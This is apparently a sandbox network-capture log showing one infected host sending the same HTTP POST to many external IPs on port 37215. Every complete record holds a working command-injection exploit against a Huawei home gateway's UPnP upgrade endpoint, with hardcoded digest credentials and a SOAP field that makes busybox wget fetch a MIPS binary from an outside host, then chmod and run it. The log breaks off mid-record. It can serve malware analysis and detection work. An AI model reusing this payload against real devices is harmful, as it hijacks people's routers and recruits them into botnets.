Dec 4, 2024 20:34:36.944473982 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	33990	197.70.26.71	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.945014954 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	46848	41.5.195.235	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.945564985 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	53018	156.168.141.207	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.946105957 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	57592	41.194.61.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.946676016 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	46240	197.46.72.54	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.947263956 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	41170	156.230.112.106	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.947815895 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	49752	156.17.91.196	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.948388100 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	37024	156.154.205.52	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.948934078 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	39784	197.246.71.134	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.949496031 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	58918	156.168.90.110	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.950048923 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 